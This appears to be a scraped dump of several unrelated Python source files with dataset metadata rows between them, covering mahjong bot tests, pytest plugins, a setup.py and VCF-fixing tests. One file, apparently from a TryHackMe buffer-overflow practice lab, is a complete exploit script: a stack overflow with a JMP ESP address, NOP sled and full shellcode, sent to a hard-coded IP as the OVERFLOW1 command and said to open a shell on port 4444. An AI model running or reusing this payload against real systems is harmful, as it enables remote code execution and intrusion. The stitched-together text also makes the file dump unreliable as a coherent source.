meld = self._make_meld(Meld.CHI, man='234')
player.add_called_meld(meld)
tiles = self._string_to_136_array(man='234678', sou='234', pin='2388')
player.init_hand(tiles)
player.draw_tile(self._string_to_136_tile(sou='7'))
# we can wait only on 1-4, so let's do it even if we can't get yaku on 1
discard = player.discard_tile()
self.assertEqual(self._to_string([discard]), '7s')
def test_choose_correct_waiting_and_fist_opened_meld(self):
table = self._make_table()
player = table.player
tiles = self._string_to_136_array(man='2337788', sou='345', pin='234')
player.init_hand(tiles)
tile = self._string_to_136_tile(man='8')
meld, tile_to_discard = player.try_to_call_meld(tile, False)
discard = player.discard_tile(tile_to_discard)
self.assertEqual(self._to_string([discard]), '2m')
| 38.353303
| 90
| 0.665612
| 3,350
| 24,968
| 4.662985
| 0.097612
| 0.064657
| 0.077588
| 0.096985
| 0.806671
| 0.796556
| 0.752577
| 0.71263
| 0.684143
| 0.660905
| 0
| 0.059561
| 0.220642
| 24,968
| 650
| 91
| 38.412308
| 0.743204
| 0.073214
| 0
| 0.692135
| 0
| 0
| 0.033616
| 0
| 0
| 0
| 0
| 0
| 0.202247
| 1
| 0.069663
| false
| 0
| 0.017978
| 0
| 0.096629
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
d9bd552be1fa73ba9ab2c06c9fc7567b6908ec97
| 236
|
py
|
Python
|
src/sentry/utils/pytest/__init__.py
|
learninto/sentry
|
4f9f564841498b3af49c1677d6b61f3e47b01923
|
[
"BSD-3-Clause"
] | 1
|
2019-10-17T17:46:16.000Z
|
2019-10-17T17:46:16.000Z
|
src/sentry/utils/pytest/__init__.py
|
learninto/sentry
|
4f9f564841498b3af49c1677d6b61f3e47b01923
|
[
"BSD-3-Clause"
] | null | null | null |
src/sentry/utils/pytest/__init__.py
|
learninto/sentry
|
4f9f564841498b3af49c1677d6b61f3e47b01923
|
[
"BSD-3-Clause"
] | null | null | null |
from __future__ import absolute_import
pytest_plugins = [
"sentry.utils.pytest.sentry",
"sentry.utils.pytest.selenium",
"sentry.utils.pytest.fixtures",
"sentry.utils.pytest.unittest",
"sentry.utils.pytest.kafka",
]
| 23.6
| 38
| 0.716102
| 27
| 236
| 6.037037
| 0.444444
| 0.337423
| 0.521472
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.144068
| 236
| 9
| 39
| 26.222222
| 0.806931
| 0
| 0
| 0
| 0
| 0
| 0.572034
| 0.572034
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.125
| 0
| 0.125
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
d9cf2086500c72849fce441980525fd12de509e4
| 102
|
py
|
Python
|
parse_manual/parsed_property.py
|
jhkloss/libg3n_parsing_notebook
|
e7afef1cc0baf777df334350e967a5d1873998e2
|
[
"Unlicense"
] | null | null | null |
parse_manual/parsed_property.py
|
jhkloss/libg3n_parsing_notebook
|
e7afef1cc0baf777df334350e967a5d1873998e2
|
[
"Unlicense"
] | null | null | null |
parse_manual/parsed_property.py
|
jhkloss/libg3n_parsing_notebook
|
e7afef1cc0baf777df334350e967a5d1873998e2
|
[
"Unlicense"
] | null | null | null |
from parse_manual.parsed_token import ParsedToken
class ParsedProperty(ParsedToken):
type: type
| 17
| 49
| 0.813725
| 12
| 102
| 6.75
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.137255
| 102
| 5
| 50
| 20.4
| 0.920455
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
d9df91acce6bb13302a9f88cc8c6203f71035174
| 224
|
py
|
Python
|
generated-libraries/python/netapp/aggr/blocktype.py
|
radekg/netapp-ontap-lib-get
|
6445ebb071ec147ea82a486fbe9f094c56c5c40d
|
[
"MIT"
] | 2
|
2017-03-28T15:31:26.000Z
|
2018-08-16T22:15:18.000Z
|
generated-libraries/python/netapp/aggr/blocktype.py
|
radekg/netapp-ontap-lib-get
|
6445ebb071ec147ea82a486fbe9f094c56c5c40d
|
[
"MIT"
] | null | null | null |
generated-libraries/python/netapp/aggr/blocktype.py
|
radekg/netapp-ontap-lib-get
|
6445ebb071ec147ea82a486fbe9f094c56c5c40d
|
[
"MIT"
] | null | null | null |
class Blocktype(basestring):
"""
32-bit|64-bit
Possible values:
<ul>
<li> "32_bit" ,
<li> "64_bit"
</ul>
"""
@staticmethod
def get_api_name():
return "blocktype"
| 14.933333
| 28
| 0.491071
| 24
| 224
| 4.416667
| 0.666667
| 0.09434
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.055944
| 0.361607
| 224
| 14
| 29
| 16
| 0.685315
| 0.325893
| 0
| 0
| 0
| 0
| 0.078261
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0
| 0.25
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
d9ed7048a4c46d712c91a8794f4c4f7f85b7e084
| 1,123
|
py
|
Python
|
tests/test_fix_medaka_vcf.py
|
iqbal-lab-org/pandora_paper_roc
|
bb21c76faefa8021c86c3be9d77b8b5999fe2ef5
|
[
"MIT"
] | null | null | null |
tests/test_fix_medaka_vcf.py
|
iqbal-lab-org/pandora_paper_roc
|
bb21c76faefa8021c86c3be9d77b8b5999fe2ef5
|
[
"MIT"
] | null | null | null |
tests/test_fix_medaka_vcf.py
|
iqbal-lab-org/pandora_paper_roc
|
bb21c76faefa8021c86c3be9d77b8b5999fe2ef5
|
[
"MIT"
] | 2
|
2020-11-04T18:15:43.000Z
|
2020-11-06T01:38:08.000Z
|
from pipeline.scripts.fix_medaka_vcf import FixMedakaVCF
import filecmp
class TestFixMedakaVCF:
def test_big_bang_fix_medaka_vcf(self):
fixer = FixMedakaVCF()
fixer.process_vcf("tests/test_cases/sample_medaka_to_be_fixed.vcf",
"tests/test_cases/sample_medaka_to_be_fixed.corrected.vcf",
"sample_name")
files_are_equal = \
filecmp.cmp("tests/test_cases/sample_medaka_to_be_fixed.corrected.vcf",
"tests/test_cases/sample_medaka_to_be_fixed.expected.vcf")
assert files_are_equal
def test_big_bang_fix_medaka_empty_vcf(self):
fixer = FixMedakaVCF()
fixer.process_vcf("tests/test_cases/sample_medaka_empty_vcf.to_be_fixed.vcf",
"tests/test_cases/sample_medaka_empty_vcf.corrected.vcf",
"sample_name")
files_are_equal = \
filecmp.cmp("tests/test_cases/sample_medaka_empty_vcf.corrected.vcf",
"tests/test_cases/sample_medaka_empty_vcf.expected.vcf")
assert files_are_equal
| 44.92
| 86
| 0.658949
| 138
| 1,123
| 4.905797
| 0.23913
| 0.106352
| 0.165436
| 0.236337
| 0.870015
| 0.870015
| 0.713442
| 0.713442
| 0.651403
| 0.48449
| 0
| 0
| 0.262689
| 1,123
| 25
| 87
| 44.92
| 0.817633
| 0
| 0
| 0.380952
| 0
| 0
| 0.402135
| 0.382562
| 0
| 0
| 0
| 0
| 0.095238
| 1
| 0.095238
| false
| 0
| 0.095238
| 0
| 0.238095
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
d9f38a1d2ae7aa066d3c53af0445609744ea84d8
| 64
|
py
|
Python
|
examples/leslie/__init__.py
|
determined-ai/OReilly
|
871cba08a025327564f26e2527fc995a6c4584bd
|
[
"Apache-2.0"
] | 6
|
2019-09-10T20:34:52.000Z
|
2022-02-17T06:51:32.000Z
|
reproducibility/model_code/__init__.py
|
determined-ai/OReilly
|
871cba08a025327564f26e2527fc995a6c4584bd
|
[
"Apache-2.0"
] | null | null | null |
reproducibility/model_code/__init__.py
|
determined-ai/OReilly
|
871cba08a025327564f26e2527fc995a6c4584bd
|
[
"Apache-2.0"
] | 3
|
2019-09-10T20:35:17.000Z
|
2019-11-12T07:35:12.000Z
|
from model_leslie import make_data_loaders, MultiTaskMNistTrial
| 32
| 63
| 0.90625
| 8
| 64
| 6.875
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.078125
| 64
| 1
| 64
| 64
| 0.932203
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
8a2611fe46941ac9da0e5477b9a78ee6955b6c9a
| 38
|
py
|
Python
|
ptcgdex/__main__.py
|
encukou/ptcgdex
|
9abe2fce2d5d3ffff5e15c8fa12821bb87a47753
|
[
"MIT"
] | 1
|
2017-09-27T10:07:40.000Z
|
2017-09-27T10:07:40.000Z
|
ptcgdex/__main__.py
|
encukou/ptcgdex
|
9abe2fce2d5d3ffff5e15c8fa12821bb87a47753
|
[
"MIT"
] | null | null | null |
ptcgdex/__main__.py
|
encukou/ptcgdex
|
9abe2fce2d5d3ffff5e15c8fa12821bb87a47753
|
[
"MIT"
] | null | null | null |
from ptcgdex.main import main
main()
| 9.5
| 29
| 0.763158
| 6
| 38
| 4.833333
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.157895
| 38
| 3
| 30
| 12.666667
| 0.90625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
8a89ca37e8e9f1f3eb695fe8517955db33f11911
| 61
|
py
|
Python
|
EnemyData.py
|
Sigurdur01/FOR3Lokaverkefni
|
0c90206d98958f37d28a971c6dbb2ee90f811dd3
|
[
"MIT"
] | null | null | null |
EnemyData.py
|
Sigurdur01/FOR3Lokaverkefni
|
0c90206d98958f37d28a971c6dbb2ee90f811dd3
|
[
"MIT"
] | null | null | null |
EnemyData.py
|
Sigurdur01/FOR3Lokaverkefni
|
0c90206d98958f37d28a971c6dbb2ee90f811dd3
|
[
"MIT"
] | null | null | null |
import pygame
import random
from pygame.locals import *
| 12.2
| 28
| 0.754098
| 8
| 61
| 5.75
| 0.625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.213115
| 61
| 4
| 29
| 15.25
| 0.958333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
8a89cc532b1afc21a5c38e16d943a2af9b296b04
| 286
|
py
|
Python
|
src/python/WMCore/WMBS/Oracle/Jobs/GetFWJRByState.py
|
khurtado/WMCore
|
f74e252412e49189a92962945a94f93bec81cd1e
|
[
"Apache-2.0"
] | 21
|
2015-11-19T16:18:45.000Z
|
2021-12-02T18:20:39.000Z
|
src/python/WMCore/WMBS/Oracle/Jobs/GetFWJRByState.py
|
khurtado/WMCore
|
f74e252412e49189a92962945a94f93bec81cd1e
|
[
"Apache-2.0"
] | 5,671
|
2015-01-06T14:38:52.000Z
|
2022-03-31T22:11:14.000Z
|
src/python/WMCore/WMBS/Oracle/Jobs/GetFWJRByState.py
|
khurtado/WMCore
|
f74e252412e49189a92962945a94f93bec81cd1e
|
[
"Apache-2.0"
] | 67
|
2015-01-21T15:55:38.000Z
|
2022-02-03T19:53:13.000Z
|
#!/usr/bin/env python
"""
_GetFWJRByState_
Oracle implementation of Jobs.GetFWJRByState
"""
from WMCore.WMBS.MySQL.Jobs.GetFWJRByState import GetFWJRByState as MySQLGetFWJRByState
class GetFWJRByState(MySQLGetFWJRByState):
"""
Identical to MySQL version.
"""
pass
| 15.888889
| 87
| 0.748252
| 28
| 286
| 7.571429
| 0.75
| 0.169811
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.160839
| 286
| 17
| 88
| 16.823529
| 0.883333
| 0.388112
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 5
|
8abf421f3e10419718f0181bd921ec374771679f
| 91
|
py
|
Python
|
wataru/exceptions.py
|
risuoku/wataru
|
63be36d15454abd0636f67eaf1e80728b8c5a9bd
|
[
"MIT"
] | null | null | null |
wataru/exceptions.py
|
risuoku/wataru
|
63be36d15454abd0636f67eaf1e80728b8c5a9bd
|
[
"MIT"
] | null | null | null |
wataru/exceptions.py
|
risuoku/wataru
|
63be36d15454abd0636f67eaf1e80728b8c5a9bd
|
[
"MIT"
] | null | null | null |
class ConsoleCommandFailed(Exception):
pass
class ConvergeFailed(Exception):
pass
| 15.166667
| 38
| 0.769231
| 8
| 91
| 8.75
| 0.625
| 0.371429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.164835
| 91
| 5
| 39
| 18.2
| 0.921053
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
76ed52ed0aef1d53ce6f7139f90d5761d7e274e4
| 97
|
py
|
Python
|
xkcdwall/__main__.py
|
saru95/xkcd-everyday
|
9ef54d8bdb624d3dd7c74d90cf8922957ebe698b
|
[
"MIT"
] | null | null | null |
xkcdwall/__main__.py
|
saru95/xkcd-everyday
|
9ef54d8bdb624d3dd7c74d90cf8922957ebe698b
|
[
"MIT"
] | null | null | null |
xkcdwall/__main__.py
|
saru95/xkcd-everyday
|
9ef54d8bdb624d3dd7c74d90cf8922957ebe698b
|
[
"MIT"
] | null | null | null |
# Allow calls using "python -m xkcdwall" command
from .cmd import set_wallpaper
set_wallpaper()
| 19.4
| 48
| 0.783505
| 14
| 97
| 5.285714
| 0.857143
| 0.324324
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.14433
| 97
| 4
| 49
| 24.25
| 0.891566
| 0.474227
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
76f82adea0166003b311711f837269c2a1ab3452
| 50
|
py
|
Python
|
cride/circles/serializers/__init__.py
|
valot3/Cride-API
|
a9e201942e6eecd479f575733e93ff73e6df573d
|
[
"MIT"
] | null | null | null |
cride/circles/serializers/__init__.py
|
valot3/Cride-API
|
a9e201942e6eecd479f575733e93ff73e6df573d
|
[
"MIT"
] | null | null | null |
cride/circles/serializers/__init__.py
|
valot3/Cride-API
|
a9e201942e6eecd479f575733e93ff73e6df573d
|
[
"MIT"
] | null | null | null |
from .circles import *
from .memberships import *
| 25
| 26
| 0.76
| 6
| 50
| 6.333333
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.16
| 50
| 2
| 26
| 25
| 0.904762
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
0a1ded7e7549152360b17e112b26b842d2455b0d
| 32
|
py
|
Python
|
Lib/test/test_bastion.py
|
SaadBazaz/ChinesePython
|
800955539dda912d4a1621bcf5a700aaaddc012f
|
[
"CNRI-Python-GPL-Compatible"
] | 3
|
2022-01-30T20:08:24.000Z
|
2022-02-12T08:51:12.000Z
|
Lib/test/test_bastion.py
|
SaadBazaz/ChinesePython
|
800955539dda912d4a1621bcf5a700aaaddc012f
|
[
"CNRI-Python-GPL-Compatible"
] | null | null | null |
Lib/test/test_bastion.py
|
SaadBazaz/ChinesePython
|
800955539dda912d4a1621bcf5a700aaaddc012f
|
[
"CNRI-Python-GPL-Compatible"
] | 1
|
2019-04-11T11:27:01.000Z
|
2019-04-11T11:27:01.000Z
|
import Bastion
Bastion._test()
| 8
| 15
| 0.78125
| 4
| 32
| 6
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 32
| 3
| 16
| 10.666667
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
0a22c90fa1d0b7680983620d7a6bd5f6505c78dd
| 213
|
py
|
Python
|
src/sattools/tputil.py
|
gerritholl/sattools
|
2ea5fd56c758d75679db336150cae9223ba697e0
|
[
"MIT"
] | null | null | null |
src/sattools/tputil.py
|
gerritholl/sattools
|
2ea5fd56c758d75679db336150cae9223ba697e0
|
[
"MIT"
] | 29
|
2020-03-18T11:17:43.000Z
|
2021-03-03T16:22:18.000Z
|
src/sattools/tputil.py
|
gerritholl/sattools
|
2ea5fd56c758d75679db336150cae9223ba697e0
|
[
"MIT"
] | null | null | null |
"""Routines for interacting with typhon."""
import satpy.readers
def fileinfo2fspath(finfo):
"""Convert typhon FileInfo to satpy FSPath."""
return satpy.readers.FSFile(finfo.path, fs=finfo.file_system)
| 23.666667
| 65
| 0.741784
| 27
| 213
| 5.814815
| 0.777778
| 0.152866
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005435
| 0.13615
| 213
| 8
| 66
| 26.625
| 0.847826
| 0.366197
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
6a727adc06a4f413069bc387ea1c556525ba78d0
| 1,265
|
py
|
Python
|
setup.py
|
vmikki/nameko-async-task
|
3803836385b7d2474a78fcc6b87d7db8a7769640
|
[
"Apache-2.0"
] | null | null | null |
setup.py
|
vmikki/nameko-async-task
|
3803836385b7d2474a78fcc6b87d7db8a7769640
|
[
"Apache-2.0"
] | null | null | null |
setup.py
|
vmikki/nameko-async-task
|
3803836385b7d2474a78fcc6b87d7db8a7769640
|
[
"Apache-2.0"
] | null | null | null |
from setuptools import setup, find_packages
setup(
name='nameko-async-task',
version='0.0.1',
description='Async task utility for nameko services',
author='timbu',
url='http://github.com/timbu/nameko-async-task',
packages=find_packages(exclude=['test', 'test.*']),
install_requires=[
"nameko==3.0.0-rc5", # TODO: require nameko 3 only when released
],
extras_require={
'dev': [
"coverage==4.0.3",
"flake8==2.5.4",
"pylint==1.5.5",
"pytest==3.0.5",
]
},
zip_safe=True,
license='Apache License, Version 2.0',
classifiers=[
"Programming Language :: Python",
"Operating System :: MacOS :: MacOS X",
"Operating System :: POSIX",
"Programming Language :: Python :: 2",
"Programming Language :: Python :: 2.7",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.3",
"Programming Language :: Python :: 3.4",
"Programming Language :: Python :: 3.5",
"Programming Language :: Python :: 3.6",
"Topic :: Internet",
"Topic :: Software Development :: Libraries :: Python Modules",
"Intended Audience :: Developers",
]
)
| 32.435897
| 73
| 0.562055
| 136
| 1,265
| 5.191176
| 0.5
| 0.215297
| 0.283286
| 0.184136
| 0.076487
| 0
| 0
| 0
| 0
| 0
| 0
| 0.038377
| 0.279051
| 1,265
| 38
| 74
| 33.289474
| 0.735746
| 0.032411
| 0
| 0
| 0
| 0
| 0.5491
| 0
| 0
| 0
| 0
| 0.026316
| 0
| 1
| 0
| true
| 0
| 0.027027
| 0
| 0.027027
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
6a842ffb1665481526a8ab0305c80451aa0f4714
| 48
|
py
|
Python
|
R_Drop/models/__init__.py
|
zpc-666/Paddle-R-Drop
|
c77be8bbb9b508493d86520f48fd275bc3966d77
|
[
"Apache-2.0"
] | 2
|
2021-11-15T07:27:03.000Z
|
2022-01-04T14:00:18.000Z
|
R_Drop/models/__init__.py
|
zpc-666/Paddle-R-Drop
|
c77be8bbb9b508493d86520f48fd275bc3966d77
|
[
"Apache-2.0"
] | null | null | null |
R_Drop/models/__init__.py
|
zpc-666/Paddle-R-Drop
|
c77be8bbb9b508493d86520f48fd275bc3966d77
|
[
"Apache-2.0"
] | null | null | null |
from .modeling import VisionTransformer, CONFIGS
| 48
| 48
| 0.875
| 5
| 48
| 8.4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.083333
| 48
| 1
| 48
| 48
| 0.954545
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
6a8942e519f929e6d373f061b066a8150b7a5fd4
| 2,521
|
py
|
Python
|
1/exploit.py
|
SxNade/THM_Buffer-Overflow-Prep
|
f4818a446c5ede939492a04f53cdb7398dbc0b8e
|
[
"BSD-3-Clause"
] | null | null | null |
1/exploit.py
|
SxNade/THM_Buffer-Overflow-Prep
|
f4818a446c5ede939492a04f53cdb7398dbc0b8e
|
[
"BSD-3-Clause"
] | null | null | null |
1/exploit.py
|
SxNade/THM_Buffer-Overflow-Prep
|
f4818a446c5ede939492a04f53cdb7398dbc0b8e
|
[
"BSD-3-Clause"
] | null | null | null |
# Author: z3r0day
import socket
import sys
import time
print("[+] Nani! Final exploit check your shell at 4444....\n")
buff = "A" * 1978
eip = "\xaf\x11\x50\x62" #0x625011AF JMP ESP pointer address
nops = "\x90" * 20
shellcode = b""
shellcode += b"\xba\xad\x13\xdd\x9f\xda\xcd\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x50\x0e"
shellcode += b"\x03\xfd\x1d\x3f\x6a\x01\xc9\x3d\x95\xf9\x0a"
shellcode += b"\x22\x1f\x1c\x3b\x62\x7b\x55\x6c\x52\x0f\x3b"
shellcode += b"\x81\x19\x5d\xaf\x12\x6f\x4a\xc0\x93\xda\xac"
shellcode += b"\xef\x24\x76\x8c\x6e\xa7\x85\xc1\x50\x96\x45"
shellcode += b"\x14\x91\xdf\xb8\xd5\xc3\x88\xb7\x48\xf3\xbd"
shellcode += b"\x82\x50\x78\x8d\x03\xd1\x9d\x46\x25\xf0\x30"
shellcode += b"\xdc\x7c\xd2\xb3\x31\xf5\x5b\xab\x56\x30\x15"
shellcode += b"\x40\xac\xce\xa4\x80\xfc\x2f\x0a\xed\x30\xc2"
shellcode += b"\x52\x2a\xf6\x3d\x21\x42\x04\xc3\x32\x91\x76"
shellcode += b"\x1f\xb6\x01\xd0\xd4\x60\xed\xe0\x39\xf6\x66"
shellcode += b"\xee\xf6\x7c\x20\xf3\x09\x50\x5b\x0f\x81\x57"
shellcode += b"\x8b\x99\xd1\x73\x0f\xc1\x82\x1a\x16\xaf\x65"
shellcode += b"\x22\x48\x10\xd9\x86\x03\xbd\x0e\xbb\x4e\xaa"
shellcode += b"\xe3\xf6\x70\x2a\x6c\x80\x03\x18\x33\x3a\x8b"
shellcode += b"\x10\xbc\xe4\x4c\x56\x97\x51\xc2\xa9\x18\xa2"
shellcode += b"\xcb\x6d\x4c\xf2\x63\x47\xed\x99\x73\x68\x38"
shellcode += b"\x0d\x23\xc6\x93\xee\x93\xa6\x43\x87\xf9\x28"
shellcode += b"\xbb\xb7\x02\xe3\xd4\x52\xf9\x64\xd1\xb3\x0f"
shellcode += b"\xf9\x8d\xb1\x0f\x10\x12\x3f\xe9\x78\xba\x69"
shellcode += b"\xa2\x14\x23\x30\x38\x84\xac\xee\x45\x86\x27"
shellcode += b"\x1d\xba\x49\xc0\x68\xa8\x3e\x20\x27\x92\xe9"
shellcode += b"\x3f\x9d\xba\x76\xad\x7a\x3a\xf0\xce\xd4\x6d"
shellcode += b"\x55\x20\x2d\xfb\x4b\x1b\x87\x19\x96\xfd\xe0"
shellcode += b"\x99\x4d\x3e\xee\x20\x03\x7a\xd4\x32\xdd\x83"
shellcode += b"\x50\x66\xb1\xd5\x0e\xd0\x77\x8c\xe0\x8a\x21"
shellcode += b"\x63\xab\x5a\xb7\x4f\x6c\x1c\xb8\x85\x1a\xc0"
shellcode += b"\x09\x70\x5b\xff\xa6\x14\x6b\x78\xdb\x84\x94"
shellcode += b"\x53\x5f\xa4\x76\x71\xaa\x4d\x2f\x10\x17\x10"
shellcode += b"\xd0\xcf\x54\x2d\x53\xe5\x24\xca\x4b\x8c\x21"
shellcode += b"\x96\xcb\x7d\x58\x87\xb9\x81\xcf\xa8\xeb"
payload = buff + eip + nops + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Application
s.connect(('10.10.54.232', 1337))
s.recv(1024) #Recv the banner
#Finally the vulnerable command PASS
s.send('OVERFLOW1 ' + payload + '\r\n')
s.send('EXIT\r\n')
s.close()
print("\nExecution Finished!\n")
| 38.784615
| 63
| 0.699326
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|
0
| 5
|
0abd4cd7a7155d86a568cea9af49569cbed4d3a2
| 146
|
py
|
Python
|
admin.py
|
raccoondude/Pastebin
|
3f207d3838066497b2263fd8b4687a5036d524f3
|
[
"Apache-2.0"
] | 1
|
